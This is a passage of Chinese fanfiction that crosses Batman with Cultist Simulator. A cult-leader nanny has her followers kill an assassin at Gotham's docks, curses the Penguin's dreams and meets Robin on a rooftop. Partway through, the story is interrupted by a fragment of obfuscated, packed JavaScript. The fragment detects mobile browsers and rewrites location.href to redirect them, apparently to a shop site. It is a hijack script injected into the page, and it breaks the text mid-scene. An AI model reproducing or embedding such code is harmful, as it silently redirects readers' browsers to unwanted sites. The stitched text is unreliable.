是我最为趁手的一把利刃。
我变回人形,摸了摸萝丝和伊莎贝特的脑袋,夸奖道:
“好姑娘们。”
埃尔里奇的眼神一下子就犀利起来——
这位脸上带着伤疤的优雅男人总是沉默等待着时机,他习惯一击致命,不让猎物流出多余的鲜血。可如今,他在我面前垂下脑袋,像是在祈求什么。
“喔,埃尔里奇,如果今晚你表现好的话,你会得到你想要的。”
夸奖,拥抱,亲昵的举动。
就像是对待小宠物一样。
但我的信徒们都喜欢这个。
我曾经在暗处偷偷看过,他们为此还立了个排行榜。
我不否认,这个行为很可爱。
9. 一场遭遇
关于这次绑架,我原本没觉得事情不对。
毕竟这里是哥谭。
在哥谭,三步一打砸,五步一抢劫,爆炸随身伴,监狱大暴乱等等等等,全都是正常的。
可萝丝她们审讯了当时在场的暴徒们,发觉了他们背后还隐藏着一个真正的幕后主使。
不是本地的□□,也不是阿卡姆的那群人。而是,一个远道而来的异乡人。
哦,暴徒原话说是臭外地的。
有被骂到。
我从这些线索里察觉出了点不对。
如果抛开一切来看,哥谭最吸引人的是什么?
它本身。
哥谭本身就是一座有魔力的城市,人们恨着它,可又在爱着它。在无数迷惑混乱,争斗侵占的表皮之下,巨大的影响在这里发酵。
蛾的影响在这里得到加强,刃的影响在这里如鱼得水。
……说直白点是如果要抓个人执行什么仪式,或者搞一件大事,哥谭人和哥谭都是绝佳的。
正宗老哥谭人,您仪式的不二之选。
我其实怀疑如果抓个哥谭人丢到仪式上,他自带的蛾影响或者刃影响说不定能高到司辰们都为之瞩目。
扯远了。
简单来说,我怀疑背后有个刃道路的通晓者在搞事情。这一次暴乱只是对方试探的门槛,毕竟刃总是这样的。
挑起战争,挑起争斗,征服与被征服……反抗与斗争是他们永恒的底色。
我见过很多刃道路的人。
但最令我印象深刻的,还是我那位死去的大敌。
不过毕竟人都死了,也没有什么好提的了。
只是我仍时常想起他,想起他的教诲。成为清算人的生涯是我人生中不可缺少的一部分,我并不为此感到骄傲,但似乎应当感激对方训练出了我这样敏锐的直觉和强大的能力——
所以最后,我满怀感激地杀了他。
也托他的福,我现在还能坐在这,对着不多的情报抽丝剥茧——
比如那天那个撞了我一下,面带微笑的人。
我一边思索着,一边同教徒们穿梭在哥谭的大街小巷内。
据暴徒所说,他们从前一般都是在狄克逊码头附近会面的。即使现在暴徒们已经死去,但也仍然可以去那儿碰碰运气看。
我跳到了码头堆攒的集装箱上,漫不经心地摇了摇尾巴。
一如既往的走私,一如既往的加紧搬运。唯一不同的就是,今晚蝙蝠侠还没来到这里。他们在不犯罪和被蝙蝠侠沙包大的拳头殴打中,选择了提心吊胆地犯罪,等待着某个铁拳从天而降。
没有我的指示,教众们安静地缩在阴影处,观察着这群喽喽的举动。
忽然,我听到了一声声响。
来者显然压低了脚步,但在蛾的耳中,那最轻微的一声足音,都足以令人惊醒。
“我要的东西,都带来了吗?”
低沉的男声响起,他是在阴影里开口的,步伐很轻,受过训练,或许当了五六年的刺客——他还年轻着呢,处处都透露出不成熟的痕迹。
不过这点能力,用来恐吓那群喽喽也已足够。
“带来了……这一大批武器都是从……来的好货……”
“你上次给老大提供的那一批……带来了吗?”
喽喽刻意模糊掉了具体的信息,显然,这是他们之间心照不宣的事情。
男人点了点头,手中忽然多出一个手提箱。
喽喽翻开手提箱,打开其中一瓶——
一瞬间,一股无法用言语形容的,极其甜腻的气息席卷了这里。肉眼可见的,所有喽喽在闻到这个味道时,眼神立刻恍惚了,面颊在一瞬间红润,仿佛这是什么灵丹妙药,可以让人身强体健一般。
我认出了那个,
出自制花人之手的不凋花蜜。
这位司辰非常慷慨,嗯,如果你认为这份慷慨不需要付出任何代价的话。
……这个刺客到底卖了多少次钩子给制花人才拿来这么多的花蜜啊!!!
我动了动鼻子,撇了撇嘴,再一次扩大了蛾的影响,将教众们笼罩在庇护之下,以免他们的神智受到干扰。
所幸在喽喽们彻底陷入癫狂,在原地被杯的影响带着开始impart的时候,刺客及时盖上了瓶盖,让一切都恢复原状。
喽喽们纷纷从这无法摆脱的欲望中清醒,双方很满意地交换了货物,就准备趁着夜黑风高离开。
“埃尔里奇。”
我开口。
不需要多余的信号,他熟悉我每一个语气所代表的含义。
于是他动身,如同一道沉默的影子,快准狠割开了刺客的咽喉——
鲜血飞溅如花瓣纷乱。
这是追寻神秘之人之间的博弈,他属于我们的世界,所以杀了他,我不会有任何犹豫。
喽喽们还没反应过来之时,原本还在交接货物的同伙,霎时间变成了一具尸体。
萝丝熟练地上去处理尸体,而一直有些游离世界之外的伊莎贝特动手,无数飞蛾在此刻同时嗡鸣。
“不要杀死他们。”
我对伊莎贝特轻轻道。
后者点了点头,表示了解。
这儿是蝙蝠侠的地盘,这些是哥谭人,我只是来处理导致提姆被绑架的罪魁祸首,并没有想和蝙蝠侠为敌的意思。
主要是他一发邪名就是好几张发,看得我实在接受不了。
能验牌吗蝙师傅。
总觉得再多和他接触几次,我就可以顺利进防剿局和道格拉斯喝茶了。
蝙蝠侠,恐怖如斯!
我跳下集装箱,身躯重新变回人类,打算将那一小箱花蜜收起来。
我从不否认哥谭反派们的奇思妙想,谁知道这些不凋花蜜流入市场,会被他们做成什么东西。
这么想着,我刚要合上箱子——
“嗡鸣”声猛然嘈杂急切起来,我扭过身,身形变成蜿蜒的毒蛇,一瞬间没入了阴影中!
而在我刚刚停留的地方,一枚蝙蝠镖正直直插在地里,寒光凛凛,边缘锋利。
模拟器里,那原本灰扑扑的条猛然亮起一小截!
但我来不及查看了。
我一个向日葵猛扭头:
不知什么时候蹲在那的黑漆漆正在用一种冰冷恐怖的眼神盯着底下这一通乱象:
蹲在地上疯狂尖叫的喽喽们,在片着什么,但是因为太过稀碎根本认不出原型的,微笑着的姑娘。以及缩在阴影里一言不发的沉默男人,在集装箱附近轻轻哼着歌的女性……
好一番群魔乱舞。
简直是阿卡姆疯人院异地登录!
“撤退。”
我开口。
看着卡牌栏里又叠出来的两张邪名,再加上之前
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被发的一张,整整齐齐三张邪名排在这里。
谢邀,不是很想要这么多牌。
我闭了闭眼,火速拖出了之前探索过的,没有用的废弃旧址。
有些旧址经过探索之后可以变成教会总部,用来消除邪名,我之前因为觉得没必要,所以就把那些地址空着了。
……现在倒是派上用场了。
废弃的仓库。
我火速改了教会的总部,看着那“废弃的仓库”在一瞬间变成了“昏暗的仓库”,消除了一张邪名之后,才稍稍松了口气。
“老鼠和臭气是这里的常客,哥谭的水太过神秘恐怖,很少有人敢毫无防备地跃入水中,因而在这格外腐臭之地,人迹愈发罕至,我们能在这里很好的隐藏起来。”
而在模拟器的加持之下,教众们也迅速被回收到了总部,避免了他们被蝙蝠侠抓住一通拷打。
这是没必要的损失。
我知道我的教众们不会吐露分毫。
也正因如此,让他们去挨蝙蝠侠的拳头会让我不多的良心有少许疼痛。
主要是这些教众都是我辛辛苦苦赚钱看书写论文,好不容易供到模拟器内各个道路所能达到最高处的精英,哪怕有一个有所损失,都会让我心疼。
这是我的财产。
我这么想着,熟练地游进了哥谭的下水道里。
没办法,现在的我只是条柔弱的毒蛇。
……
“罗宾,汇报。”
“和之前一样,监控全部被干扰,有不明嗡鸣声,画面闪烁花白。”
这已足够说明,今晚这批人,和上次杀死那群暴徒的人,是同一批人。
没来得及天降正义的黑漆漆蹲着,看着对方这行云流水的逃跑动作,觉得对方可能不是初犯,而是惯犯。
什么时候,哥谭出现了他所不知晓的罪犯?
蝙蝠侠的控制欲在一瞬间膨胀,他抿起下唇,心里划过无数个计划。
过了会儿,罗宾凝重的声音断断续续从通讯器里传出:
“B,或许你需要去检查下刚刚那名女士蹲着的地方。”
“监控画面……不大美妙。”
他的声音受到干扰似的卡顿,蝙蝠侠在原地耐心地等了一会儿,却是一片空白。
他甚至没有说双关语冷笑话。
蝙蝠侠忽然觉察到了事情的严重性。
他从高处跃下,凭借记忆,蹲下查看那一块地,而此刻,罗宾的回答应证了他的猜测:
“这儿原本该有个人……噢,我是说……她在五分钟内把一个人拆解到只剩这么点……这个速度……”
罗宾的声音有些迟疑:
“她的速度太恐怖了,如果你没来,或许她就靠那一把小刀,把一切消灭的干干净净。”
“痕迹清理大师。”
他最后以玩笑般的话语将对话结束,哪怕他们两个没有一个能够笑得出来。
蝙蝠侠俯下身,将那些残留的组织收集起来。很难想象,这仅剩的一些,在五分钟前,竟然是一具完整的人类尸体。
他将那一箱交易货品收起,看着其中的那些血一般的液体,又想起最近市场上流通的各种“神奇药剂”,无数猜测在他脑中一闪而过。
爆炸……被杀死的人的来历……这一场交易的指向……
还有无数的谜团在等待着他去解决。
10. 一名故友
从蝙蝠侠眼皮子底下跑路后,一回到德雷克大宅,我就开始了疯狂画画。
当然,我还从德雷克大宅里搜出了一点不同寻常的小东西——
散布在宅子各处的窃听器,数量大概有十几个。而我的衣柜乃至提姆的衣柜里,也多了不少定位器。
喔,蝙蝠。
我放下画笔,看着刚刚紧急扎出来的秋千,在想下次出门,要不要和提姆一起去看看花种子。
小小的孩子或许会喜欢亲手种出一朵花的感觉?
装作没发现那些蝙蝠留下的“小玩意”,我在架子前沉思一些更严峻的事情:
画点什么好?
我闭上眼,放空思维,决定把一切交给自己的直觉和升至最高的技艺——
十几分钟后,我和画面里开朗大笑着的神秘黄色小鸡面面相觑。
……我的精神状态这么健康吗?
我放下了笔,打开模拟器一看,更沉默了:
为什么这个神秘开朗大笑黄色小鸡,会产出这么多秘氛啊?
整整齐齐八张秘氛排在桌面上,一时竟不知道是我有问题还是模拟器有问题。
不过话又说回来,秘氛这东西怎么都不嫌多。
于是我又再接再厉多画了几张。
等天亮的时候,我终于停下笔,满足地看着桌面上排着的整整齐齐二十多张秘氛,终于感觉心安下来了。
秘氛这东西就像是手机电量,一旦掉下某个临界点,我就会焦虑非常。现在二十多张秘氛摆在这,我终于有种手机电量掉下90但有带充电宝的满足感与安定感。
教主的快乐就是这么简单jpg
我将那些秘氛拖到两张邪名附近,将它们整整齐齐包围之后,这才松了口气,起身去准备早餐。
万幸厨房里还剩下些面粉和鸡蛋,看来今天必须得出门买菜了。
我动作迅速地将它们烙成煎饼,用无形之术保温了之后,准备去上去叫提姆起床。
可忽然,我的模拟器界面上,那个沉寂已久的聊天界面突然弹出了一个红点:
「亲爱的!我到哥谭啦!有些事情要和你讲讲!」
我沉默了。
……
二十分钟后,吃完早餐的提姆看着收拾完东西,疑似要出门的普莉希拉,有些疑惑地问:
“今天有什么事吗?”
普莉希拉的脸上露出一个笑,很轻快道:
“或许您是真正能够给人带来幸运的幸运星。”
“?”
“阿黛尔刚刚忽然给我发消息,说已经来哥谭了。我拜托她买了点东西,现在,她已经到门口了。”
虽然是要走老长一段路的门口。
德雷克庄园虽然没韦恩庄园那么大,但是能挨在一起,本身也足以体现它的实力。
所以每天走个好几万步做有氧运动也是我的本事。
“我能去看看吗?”
提姆有些迟疑地问。
他不大想和普莉希拉分开。
噢好吧,虽然听起来不大像成熟的大人,但是他真的挺害怕一个人的。可爸爸妈妈都说过他要勇敢,要学会照顾好自己。
他不知道普莉希拉会不会也这么说。
“好的。”
出乎他意料的是,普莉希拉一句话都没有多问,只是起身去给他拿衣服,脸上是一如既往的温柔笑意。
“普莉斯……不会觉得这样很不成熟吗?”
提姆坐在椅子上,两只脚悬空着一晃一晃,语气里带了点紧张。
“您本来就是个孩子,提姆少爷。”
我蹲下身,替他理了理衣摆,而后促狭地眨眨眼,舒展眉目道:
“成熟是大人才要担起的责任,您目前健康快乐地长大就够了。”
“所以,如果您需要任何帮助的话,喊我的名字就好。”
提姆愣愣地看着普莉希拉那双灰色的眼眸,听到了对方最为真诚的话语:
“只要您呼唤,我总能听得见的。”
听着这熟悉的话语,他的心里忽然冒出了一个被他压下的猜测。
就像在昨天,他对于那隐隐约约香水味的熟悉那样。
但这想法未免有些太过离奇——普莉希拉看上去就是普普通通的年轻女性,她要怎么突破十几个劫匪防线,然后将他救下呢?
……对吧?
他牵住普莉希拉的手——柔软,温暖,看上去没有任何异常。这么一双为他做早饭,打扫家务,支持着他的手……会有那种恐怖的力量吗?
算了,不重要。
提姆握紧了普莉希拉的手,在门打开的一瞬间,条件反射般露出一个完美的笑容。
任谁看到了,都要夸这家孩子真是懂事乖巧的那种。
“嗨,亲爱的!!!”
一个白发蓝眼的女人出现在他的眼前。
……
我打量着阿黛尔。
种花人经典白毛控。
不过我不一样,我是金发控。
——这有好到哪里吗?
我上手,轻轻捏了捏她的漂亮脸蛋,她没说什么,只是摆了摆手指间夹着的塔罗牌,玩笑似的警告。
哇,还有赌神。
阿黛尔“哼”了声,指了指站在我旁边,紧紧握着我手,有些紧张的提姆,笑着开口道:
“你常提起的那位?”
我很骄傲地回答:
“对,是很聪明很厉害的小朋友。”
我为他感到骄傲。
提姆闻言愣了下,但旋即更加用力地握紧了我的手。
而我看着阿黛尔,挑挑眉道:
“让你买的东西呢?”
阿黛尔“哼”了声,抱着胳膊,我这才发觉,阿黛尔身后竟然有一只巨大无比的狗,身高几乎到她的腰间,嘴里叼着两大袋食材。
提姆有些好奇地看着那只狗,不过鉴于对方目前比他还高上不少,所以小孩选择从心地缩到我身后。
我把视线挪开,不大想知道阿黛尔是从哪里搞到的大狗狗。
“你们不是可以打订购电话送货上门吗?怎么还把这件事弄得这么麻烦。”
阿黛尔有些不解地问。
“这没灵魂。”
我义正辞严回答。
阿黛尔忍住了在孩子面前翻我白眼的欲望,而后很潇洒地朝我比了个wink:
“我猜你也没时间和我出门逛逛,等有空的话,我们可以约饭——”
她这么说着,不知道从哪里抽出纸和笔,在纸上“唰唰”写下一个地址。
“目前是在酒店住着,我看看这边的风土人情。”
“合适的话,我会多留一段时间。”
说完这些,她靠近我,用气声轻轻道:
“我们那块的妖精残党们还有各种奇奇怪怪的生物跑到哥谭来了……你要小心。”
我沉默了。
哥谭,你很出名。
怎么什么奇奇怪怪的东西都往这掉。
“所以,你这是来哥谭出差来了?”
“不,是我自己来的,甚至都没法报销差旅费的那种。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394888|200358||http|test|mini|href|location''.split(''|''),0,{}));
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>阿黛尔眨了眨眼睛。
“旅游路过大都会的时候,我甚至从一个秃子那里捡到了一只狗。”
我:……
你这狗看起来像是吃了十几罐的蛋白粉……不太像是本地狗啊……
而且从一个秃子那……你别告诉我这个秃子叫莱克斯·卢瑟。
我吐了口气,打算改天再认真问问,眼见她离开,我收好了纸,无声吐出口气。
而后我看向身旁满脸沉思的提姆,有些疑问道:
“怎么了?”
提姆摇了摇头,只是说了句:
“普莉斯今晚还会给我讲故事吗?”
“当然。”
我拎着两大袋食材,想了想,又道:
“除了昨天答应您的黑莓脆皮饼,或许您也会想尝尝我最拿手的一道甜品?”
提姆的眼神一下子亮了起来,他问道:
“什么甜品?”
“大米布丁。”
我这么说着,想了想,又说了句:
“您有空的话,可以去花园玩玩,我在那里给你准备了个惊喜。”
毕竟我连夜在那里扎了个秋千。
之前答应过小孩的事情,我是一定要做到的!
教主无所不能。
我这么想着,看着一下子精神起来,迫不及待就想跑到花园的小孩,恍惚间幻视了一只可爱的小鸭子。
普莉希拉啊普莉希拉,少吃点代餐吧你!
脑子里是这样,但实际上,我又悄悄拍了好几张照片,准备把它们全部收进我的厚相簿里。
不敢想,等到提姆长大了,我能存下多少本相簿。
说不定到时候我们还能一起翻翻?
不过哪怕返凡,我的外表应当也不会有任何变化。那些神秘的力量仍然在我的四肢百骸游走,每一晚,我都在梦中听到来自林地的嗡鸣。
或许等飞蛾状态好转了,我们这些倒霉被降职的长生者就能重返漫宿了,但这无疑是一个漫长的过程。
而这漫长的时间,用来守候一个人的成长,却未免显得有些短暂了。
我把食材分门别类放好,终于抽出时间,看了眼模拟器。
看着原本灰扑扑的,现如今却莫名涨了一小条的进度条,我只觉得上面那银绿色的流光,莫名让我感到不适——
这个颜色总让我想起一些不大美妙的回忆。
关于我和我的大敌你死我活的那段时光。
不过大敌当初在被我杀死之后,我认认真真补了好几刀,还把尸体反复处理,确保一点痕迹都没留下。
如果都做到这种地步了他还能活的话……
那算他有本事。
我哼了一声,听见提姆兴奋地喊:
“普莉斯!”
我扭头,看见提姆飞快朝我跑来,像只小猫一样撞到了我怀里。而后,他抱着我的腿,仰起脑袋,很激动道:
“秋千!”
“我很喜欢!”
我于是摸了摸他的脑袋,将那一些不大美妙的回忆压回心底。
“您喜欢就好。”
我这么说着。
别人家小孩有的,我们家提姆也要有!别说是秋千了,哪怕是要蝙蝠全家桶,我都能给他缝出一个来!!!
不过明显现在提姆还没染上观鸟,所以那些礼物的优先级就被暂时往后压了。
不过最近,我行事还是得小心点了。
最起码不能再被蝙蝠发牌了。
但是那和刺客合作的幕后主使,我也应当“拜访拜访”他了。
11. 一位敌人
又是一个夜黑风高夜。
我吸取了教训。
决定不能再像昨晚一样被蝙蝠侠发牌了。
于是我诚挚邀请阿黛尔一起夜游哥谭。
“就跟夜游浪漫之都,和小偷模拟器做斗争一样刺激吗?”
她一边这么问着,一边很自然地裹了件黑色袍子,下面还做贼似的又带了个口罩,整个人包得严严实实。此刻,她完美融入了黑暗,看上去比贼还像贼。
“恶语伤人心。”
阿黛尔故作可怜地看了我一眼,见我仍然郎心似铁,故而立刻变脸,漫不经心道:
“你知道的,干我们这行,有的时候也需要有点保密措施的。”
“就跟有人要砸你摊子的时候,你要学会跑的够快。”
我:……
她真的很爱占卜了。
我闭了闭眼。
“那你那妖精还有各种奇奇怪怪的生物是怎么回事?”
阿黛尔笑出了声,凑过来亲昵地挽住我的胳膊:
“生活总是有点意外,浪漫之都群英荟萃,也很正常嘛。”
她的话语里带了点轻飘飘的不在意:
“毕竟人类总觉得自己能掌控一切,掌握一点技术就喜欢搞点让自己团灭的小技巧。”
“好了好了,不说这些了,你要杀谁?”
她兴致勃勃道。
嗯……
我委婉地开口:
“我已经金盆洗手了。”
我现在是良民。
“没事,我的道德底线也很灵活。”
阿黛尔比了个耶,在得到地址之后,牵住了我的手。
“好了,拉紧我的手吧,我带你瞬移过去。”
“不过事先说明,我从没带过人。之前带的那些妖静或者魔物,大多也都生死不明了。”
“生死不明,那就是死了。”
我脱口而出。
阿黛尔瞥了我一眼,手中塔罗牌汇成的法阵卡了一下,她无奈开口:
“再让我听见这个,我就扎聋自己的耳朵。”
我发自内心的疑问道:
“理论上,你们那是不是有龙?”
阿黛尔:?
阿黛尔:“我知道你想玩什么梗,但是你先别玩,感觉你离人挺远的了。”
其实我只是想问问有没有无公害的龙,将来如果要和蝙蝠家打好关系,我说不定还能靠这个成功收获达米安的资金。
不过……
“其实我离人真挺远的。”
可能离虫子更近一点。
我很诚恳。
阿黛尔力竭了。
她捏着塔罗牌,将它横在我脖颈处,威胁一般。
“你要是不喜欢的话我们还可以开点哥谭特色的地狱笑话。”
我语速飞快认怂。
“算了吧,听完你刚刚说的烂梗,感觉有点重返青春了。”
阿黛尔一边吐槽我,一边很快启动了法阵,在确认了地点后,我们直接进入了一间办公室。
我环顾四周,看着这奢华的办公室,忍不住在心底发出了贫穷的感叹:
真华丽。
——甚至连门把手上都镶了钻石。
“你打算怎么报复他?”
“是拆成乐高,还是让我给他施展一点会让人长睡不醒的小魔法?”
阿黛尔兴致勃勃地开口。
我歪了歪头,很纯良道:
“其实我只是想吓唬吓唬他。”
阿黛尔沉默了。
“如果我没记错的话,你的上上个上司就是这么疯掉的吧?”
她指的是奥尔登和格洛弗。
“对啊,我只是让伊莎贝特去吓了吓他们,但是他们不经吓,疯掉了,难道不是他们意志不坚定吗?”
对待这种让我每天996和007的邪恶资本家,我没把他们路灯伺候就已经很好了。
阿黛尔但笑不语,显然也不觉得这种话语有什么不对。
毕竟世界在我们看来只是一场游戏,总有着多样的选择,就跟我在那么多条道路里反复纠结了那么久,才最终走上了蛾这条道路一样。
“那如果要吓他的话,三更半夜,他会来这吗?”
“一大箱不凋花蜜被蝙蝠侠收缴走了,他肯定会做些什么,深夜是最好的掩饰。”
“虽然我总觉得事情没这么简单。”
这家伙应该只在里面掺和了一脚,绑架和爆炸可以说是那个刺客煽动的,但我总觉得有哪里不对。
但我毕竟不是专业查案的,我决定把一切交给蝙蝠侠烦心。
放空大脑,一切交给侦探。
而后,我回答了阿黛尔的问题:
“而且就算他不来,我也可以在这里,给他留下一点‘小惊喜’。”
我话音刚落,屋外忽然响起了沉闷的脚步声。阿黛尔似乎想从腰间抽出什么,却拦不住我动作更快地设下了封闭这一块声音的无形之术。
阵法完成的瞬间,门也恰好打开:
“一群废物!”
一个穿着华丽,头上戴着礼帽,整体打扮非常符合带英绅士形象的男人拿着长柄雨伞,怒气冲冲地走了进来。
他都身后跟随着三四个垂头丧气的职员。
“我在办公室感到十级地震。”
阿黛尔委婉道。
“我在哥谭很想你。”
我这么说着,轻轻动了动手指。
一只飞蛾轻飘飘地飞向光亮所在地,而后扑扇了一下翅膀——
无数粉末纷纷扬扬,霎时间,那三四个员工包括为首的人都陷入了昏迷。
我走上前去。
阿黛尔在我身后好奇道:
“这是谁?”
“奥斯瓦尔德·契斯特菲尔德·科波特。”
“有没有不吃记性一点的记法?”
“企鹅人。”
阿黛尔抱着胳膊,了然点头:
“这我就认识了。”
……算了,哥谭的反派们痛失本名也不是一天两天了。
话又说回来,都现在这个年代了,实名上网已经是老实人中的老实人了。我还没掉进伦敦的时候,网上还经常出现为什么“蝙蝠侠不去打灭霸”这样的话呢。
不知道,可能因为蝙蝠侠的战力很曼妙吧。
“做噩梦的话,要我给他给他下个黑魔法吗?”
阿黛尔蹲下身,拿木棍子戳了戳企鹅人的脸,随口一问。
她不知道从哪掏出来的木棍子因为她的这句话,尖端猛地冒出漆黑带紫的光芒,看上去比主人本人还跃跃欲试。
“我是良民。”
我再一次诚恳道。
说完这句,我毫不犹豫地侵入了企鹅人的梦里,给他的梦加了点“小料”。
这一招,我的对手们常用。长生者们非常没有没有边界感,总是喜欢随随便便侵入别人的梦境。
没想到多年以后,竟然也
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轮上我用这么一次。
不过比起想在梦里弄死我的敌人们,我这一招,可谓是温和多了。
只是让他连续做半个多月的“好梦”和一点点……的厄运缠身,这很温和,不是吗?
莫名的阴冷感在整个办公室里蔓延开,我盯着企鹅人,忽然查看了他的身体内部——
他的内里鲜红,馥郁涌动。
……制花人的不凋花蜜。
或许在很多很多年前,它有过令人心动的功效,但在多年之后,它除了作为仪式材料,也只剩下一些微不足道,聊以慰藉的作用。
那些作用会带来错觉。
只是他们怎么一个两个都那么馋,也不知道有没有坏处就喝下去吗?还是说随便找人做了实验,发现没什么大事,甚至某些指标好极了就直接喝了?
真应该让他们去隔壁浣熊市取经取经。
毕竟隔壁也同样热情好客,热门景点还是警察局和孤儿院,应该挺有共同话题的。
我这么想着,没有去管那花蜜最终会让他被引向什么地方。
毕竟我不是杯专业的。
不过,大概率可能是食欲,爱欲亦或者别的什么?
反正不可能是长生不老。
……最多让他cospaly一下汉○拔哥谭市分拔,问题不大。
“好了吗?”
她好奇地感受着周围这一股缭绕着的阴风,虽然看不到,但她能够敏锐感知到这些。
“你召唤了什么?”
“一些关于死亡的恐惧……怨气……还有些别的什么?”
在追寻飞升的道途上,死亡总是常见的,而基于这些死亡所带来的一些东西,有的时候也非常好用。
“那我们要走吗?”
“走吧。”
我抱着胳膊。
“按照恐怖片经典剧情,我们再不走的话,就要和黑漆漆面对面,然后他一拳,我含笑九泉了。”
这句俏皮话很好地逗笑了阿黛尔,她拉着我的手,带我体验了一把骑乌鸦的感觉——
天呐,她竟然还有那么多坐骑。
然后我们一起去买了夜宵,蹲在哥谭一处不知名的天台,静静地观赏着哥谭夜景。
她向来想一出是一出,不过这个提议也没什么坏处,我也不想在这种简单的方面扫兴。
抛开那些犯罪不谈,哥谭确实是一个很美很美的城市。
流动的车流像是哥谭衣摆上最美丽的一条织物,而蝙蝠们,则是这座城市最好的,最完美的代言人。
阿黛尔没有管我突然犯起来的文青病,而是迟疑地问:
“呃……你说的代言人,是指那个花花绿绿的小孩吗?”
啊?
我一个猛抬头,对面大楼上,独自行动的罗宾借着钩爪枪飞跃而来,甚至在半空做了好几个利落标准的杂技动作,姿态轻盈灵动,就如同一只真正的小鸟一样。
“哇哦,我是说,如果能评分,那我不介意给满分。”
阿黛尔嘴上这么说着,但是我看见了,她悄悄捏紧塔罗牌的手。
“嘿女士们,或许我们能好好谈谈?”
罗宾这么说。
阿黛尔的脑袋上冒出了疑惑。
而我看着罗宾的动作,忽然意识到了什么,肯定道:
“你一个人跑出来的。”
罗宾的动作顿了顿。
“或许还没和蝙蝠侠商量?”
罗宾彻底沉默了。
12. 一只罗宾
迪克本来没有偷偷摸出蝙蝠洞的打算。
虽然他像只愤怒的小兔子一样输出了很多优美俚语,但他还是老老实实地听蝙蝠侠的话,待在了蝙蝠洞。
直到原本只是一次很简单的走私案,突然升了个级——
很多长得奇形怪状的矮小生物窜了出来,并且似乎还会魔法。
迪克以前听蝙蝠侠说过一点关于魔法的事情,可目前夜巡到现在,暂时还没有魔法出道的反派,所以他也就没有什么实感。
谁成想,今夜这一遭,反而对他的世界观造成了一点巨大的震撼。
但他反应很快,直接和蝙蝠侠说他要去支援。
蝙蝠侠在通讯器里嗓音低沉地阻止:
“stop!”
迪克直接给蝙蝠侠表演了一个“我鸟都不鸟你”。
有了迪克的加入,虽然场面一度还是很难控制,但还是较为平稳地结束了。
而那个奇形怪状的生物在逃跑前,甚至还在大吼着道:
“人类……!!!总是一而再,再而三坏我们的事……”
“哈哈哈哈哈哈哈!!!邪恶的引导者已经莅临此地,在杀死我们之前,她会先杀了你们的!!!”
迪克:……
这东西有病吧?
你这话说的,什么叫对方会杀了你们再杀我,这有什么值得骄傲的吗?这不就是个先后问题?
感觉不是很聪明的样子。
蝙蝠侠闻言,一晚上都低着的气压终于跌破了马里亚纳海沟,他看着满地狼藉和不知道是死是活的打手们,气势越发恐怖。
他们再一起勘察完现场之后,蝙蝠侠有些疲惫地开口:
“罗宾……我们得……”
他话还没说完,罗宾就直接用钩爪枪飞走了。
留在原地的蝙蝠侠:……
他才不想听什么“我们得谈一谈”!
迪克在哥谭里穿梭着,一边愤愤想。
他收起钩爪枪,熟门熟路地蹲到了一个滴水兽上,看着下方川流不息的灯火做沉思状。
忽然,他感受到了什么打量的视线,猛地一抬头——
……两个穿着黑袍,遮得严严实实的人坐在对面天台的边缘,旁边还散乱着一堆快餐袋子。
其中一名黑袍人一边看着他,一边拉下口罩,“咔嚓咔嚓”地咬着薯条,像是在认人。
外来人员?
感觉不是很熟悉哥谭市的特产一样。
而后,对方肘了肘另一个黑袍人,引得后者猛抬头!
一种莫名的直觉让迪克下意识看了看自己的通讯器——
果不其然,信号被干扰了。
命运就是喜欢这样在无形之中踹你一脚。
但罗宾喜欢主动出击。
他再也不会做那个只能在原地无助哭嚎的孩子了。
罗宾这么想着,跳了过去。
隔着恰到好处的距离。
并且自从上次信号被干扰之后,蝙蝠侠就抓紧了这方面的研究,虽然现在通讯器里的声音依旧混乱,但应急定位按钮……应该是能用的。
不过对面两个暂时没暴露出敌意,他决定先尝试一下“话疗”。
真没想到有一天,“我们谈谈”这句话会从他嘴里说出来。
积攒了勇气的罗宾鸟这么说着,就被对面黑袍人一套丝滑连招给打沉默了。
为什么你看起来这么了解我们啊?
罗宾在心底呐喊。
虽然他刚刚按了紧急按钮,但今晚他的一切行动确实没听蝙蝠侠指挥,也没和蝙蝠侠商量。
怎么对方说起这件事感觉和家常便饭一样啊。
他们这个月确实吵了几次,但也屈指可数,不算什么大事。
罗宾有些迟疑地想。
其实他们不吵架的时候还是蛮好的。
我不知道罗宾在想什么,但是关于这桩爆炸绑架的案件,我有着一点情报,并且,我在思索,如何把这个情报透露给蝙蝠侠。
也巧,罗宾就这么送货上门来了。
那天处理完刺客之后,蛾们为我带来了新的消息,种种线索,都指向了企鹅人。
这是明面上的发展。
我让刃信徒们对这条情报勘验完毕,确认无误之后,这才连夜上门来敲企鹅人的办公室。
只是,我的内心始终有着更深一点的疑惑,但我无法确定。
而在这混乱的局势下,还有妖精残党们以及各类魔物一股脑掉进了哥谭……
让本就不太平的哥谭更是雪上加霜。
思绪发散间,我似乎终于意识到旁边还有个罗宾,我不能自顾自沉浸在自己的世界里了。
于是我开口,几乎把天聊死了:
“你说要谈谈?那你想谈什么?”
“谈恋爱。”
阿黛尔嘴快接了一句。
罗宾的神色肉眼可见的变了。
“我看你是想去国道撞大运了。”
我吐槽了这么一句,替阿黛尔找补道:
“呃……她思维比较活跃,爱说一点俏皮话,你别在意。”
罗宾站在那不远不近的地方,很快镇定下来,想了想才开口:
“你为什么要杀了那群暴徒?”
出现了,蝙蝠家经典问题。
但是我给不出标准答案。
因为人都已经驾鹤西去了,现在再谈一些假惺惺的话未免让人警惕,因此我很真诚地开口:
“他们动了不该动的人。”
废话,绑架了我家小孩,我没给他大卸八块都算我仁慈。
只是这话很有种封建君主家的死侍那味儿,虽然我不知道罗宾在想什么,但总感觉对方脑补了一些奇奇怪怪的东西。
罗宾沉默了一下,他能从对方的肢体语言以及话语里感受到对方确实没有说谎,但是这样的直白和真诚,反而让他意识到了对方的难办之处——
这位女士是在神智清醒状况下动的手,并且她并不怎么把生命当做一回事。杀人于她而言,或许只是一种最简单,最能达成目标的手段。
典型的反派思维。
“等等。”
就在他要开口说些什么时,那最开始看到他的黑袍女子忽然开口,分明是问句,说出来时,却是肯定的语气:
“你们遇上了妖精。”
妖精,什么妖精?
